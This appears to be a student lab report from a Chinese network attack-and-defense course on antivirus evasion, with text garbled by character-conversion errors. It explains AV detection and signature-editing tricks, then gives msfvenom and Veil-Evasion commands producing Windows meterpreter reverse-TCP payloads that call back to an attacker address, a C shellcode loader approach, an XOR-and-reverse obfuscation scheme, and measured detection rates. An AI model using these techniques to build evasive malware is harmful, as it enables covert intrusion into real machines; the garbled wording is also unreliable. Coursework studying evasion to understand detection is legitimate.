2017-2018-2 20179204《网络攻防实践》第十二周学习总结 免杀技术

第1节 实践内容

1.理解免杀技术原理html

2.正确使用msf编码器,veil-evasion,本身利用shellcode编程等免杀工具或技巧;python

(成功实现了免杀的。如何作成功的简单语言描述便可,不要截图、指令。与杀软共生的结果验证要截图。)git

3.经过组合应用各类技术实现恶意代码免杀;github

4.用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本。shell

第2节 基础问题

###2.1 杀软是如何检测出恶意代码的?编程

  • 基于特征码的检测

简单来讲一段<font color=green>特征码</font>就是一段或多段数据。若是一个可执行文件(或其余运行的库、脚本等)包含这样的数据则被认为是恶意代码。windows

<font color=green>AV软件厂商要作的就是尽可能搜集最全的、最新的特征码库</font>。因此杀毒软件的更新很重要。过期的特征码库就是没有用的库。数组

  • 基于签名的检测技术

基于签名的检测技术主要基于模式匹配的思想,<font color=green>为每种已知恶意代码产生一个惟一的签名特征标记来建立恶意代码库</font>。这些签名包括不少不一样的属性,如文件名、内容字符串或字节等,而且也从排除这些恶意代码所产生安全漏洞的角度来探讨保护系统安全。<font color=green>将未知代码的签名特征与恶意代码库进行对比</font>,搜索恶意代码库查找时候存在相匹配的恶意代码签名,如有吻合,则断定为恶意代码;反之则判断为正常代码。这些签名由专家手工找出或经过自动方法生成,一个签名提取出来以标志一个特定恶意代码的<font color=green>特征性质</font>。安全

  • 启发式恶意软件检测

这种方法的思想是为病毒的特征设定一个<font color=green>阈值</font>,扫描器分析文件时,当文件的总权值超出了设定值,就将其看做是恶意代码.这种方法主要的技术是要准确的定义相似病毒的特征,这依靠准确的模拟处理器。评定基于宏病毒的影响更是一个挑战,他们的结构和可能的执行流程比已经编译过的可执行文件更难预测。架构

  • 基于行为的恶意软件检测

利用病毒的特有行为特征来监测病毒的方法,称为行为监测法。经过对病毒多年的观察、研究,有一些行为是<font color=green>恶意代码的共同行为,并且比较特殊</font>。当程序运行时,监视其行为,若是发现了病毒行为,当即报警。缺点是误报率比较高、不能识别病毒名称及类型、实现时有必定难度。

###2.2 免杀是作什么? 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。是一种能使病毒木马避免被杀毒软件查杀的技术。

###2.3 免杀的基本方法有哪些?

  • 方法一:直接修改特征码的十六进制法

    1.修改方法:把特征码所对应的十六进制改为数字差1或差很少的十六进制。
    	2.适用范围:必定要精肯定位特征码所对应的十六进制,修改后必定要测试一下可否正常使用。
  • 方法二:修改字符串大小写法

    1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就能够了。
    	2.适用范围:特征码所对应的内容必需是字符串,不然不能成功。
  • 方法三:等价替换法

    1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令。
    	2.适用范围:特征码中必需有能够替换的汇编指令.好比JN,JNE 换成JMP等。
  • 方法四:指令顺序调换法

    1.修改方法:把具备特征码的代码顺序互换一下。
    	2.适用范围:具备必定的局限性,代码互换后要不能影响程序的正常执行。
  • 方法五:通用跳转法

    1.修改方法:把特征码移到零区域(指代码的空隙处),而后一个JMP又跳回来执行。
    	2.适用范围:没有什么条件,是通用的改法,强烈建议你们要掌握这种改法。
  • 文件免杀方法:

    1.加冷门壳
    	2.加花指令
    	3.改程序入口点
    	4.改木马文件特征码的5种经常使用方法
    	5.还有其它的几种免杀修改技巧
  • 内存免杀方法:

    1.直接修改特征码的十六进制法
    	2.修改字符串大小写法
    	3.等价替换法
    	4.指令顺序调换法
    	5.通用跳转法

第3节 实践过程记录

###3.1 msfvenom直接生成meterpreter可执行文件 windows ip:172.30.2.183 kali ip:172.30.1.150 Msfvenom是Metasploit平台下用来编码payloads免杀的工具,msfvenom命令行选项以下:

-p,指定须要使用的payload(攻击荷载)。若是须要使用自定义的payload,请使用'-'或者stdin指定。  
  -f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)  
  -e,指定须要使用的encoder(编码器)  
  -a,指定payload的目标架构,指定payload的目标平台  
  -b,设定规避字符集,好比: '\x00\xff'  
  -i,指定payload的编码次数  
  -x,指定一个自定义的可执行文件做为模板
  • 根据攻击机的IP用msfvenom直接生成meterpreter可执行文件:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.150 LPORT=443 -f exe > Rebrust-2.exe

  • 将其复制到Windows桌面,一开始防火墙会自动隔离,关闭防火墙容许该文件,将文件传至网站:www.virscan.org进行检测,检测结果以下: 40%的杀毒软件报告发现病毒。

经过上面的实验能够看出如今编码的方式没有免杀的功能,仍是要变换方式进行免杀的改造。

  • upx加壳后测试下降到37%。 ###3.2 用Veil-Evasion生成可执行文件

  • kali本来没有veil-evasion ,因此首先进行安装:sudo apt-get install veil-evasion 屡次尝试均安装失败。

  • 参考csdn博客免杀后门之MSF&Veil-Evasion的完美结合Kali 2.0教程:如何安装Veil-Evasion,直接从 github 上进行clone下载git clone https://www.github.com/Veil-Framework/Veil-Evasion.git

  • 历经种种曲折,终于安装成功:

  • 使用命令Veil-Evation,打开Veil-Evation,按照menu提示进行相关操做。

  • 成功进入到菜单界面,能够看到当前一共有 51 种 payload 可用!咱们可使用 list 命令来查看 payload 的详细信息。根据 payload 编号,这里我选择7号的c/meterpreter/rev_tcp_service.py进行演示。

  • menu下依次输入语言、ip、端口号以及文件名等:

    set LHOST 192.168.199.198
    	set LPORT 443
    	generate
    	gege

  • 进入生成文件的路径。将生成的文件gege.exe复制到主机,上传网站:www.virscan.org进行检测。结果: 15%的杀毒软件报告发现病毒。
  • 回连测试语句:msfconsole -r /usr/share/veil-output/handlers/gege_handler.rc

或采用Kali-利用metasploit中的exploit/multi/handler进行攻击

参考使用veil-evasion打造免杀payload ###3.3 使用c语言调用shellcode

  • kali下使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.150 LPORT=443 -f c
  • 把生成的代码从虚拟机中复制出来,加入到word中省略部分中,用Microsoft Visual Studio 2012或者Visual C++ 6.0进行编译运行生成可执行文件。
  • 检测结果以下: 7%的杀毒软件报告发现病毒。

第4节 实验总结与体会

不抛弃不放弃~

第5节 遇到的问题与解决过程

veil-evasion安装较为复杂,参考了两篇文档免杀后门之MSF&Veil-Evasion的完美结合Kali 2.0教程:如何安装Veil-Evasion

第6节 离实战还缺什么技术或步骤?

能够尝试对原shellcode异或0x01,异或以后再对字符串数组进行倒置操做,而后在代码中须要先进行倒置,即恢复本来异或01后的字符串数组,再异或01,能够返回本来的shellcode,但愿经过修改shellcode本来的样子,下降其经过特征库查杀的几率,能够和杀软共存实现免杀,放到virscan上也只有2%的报毒率。

相关文章
相关标签/搜索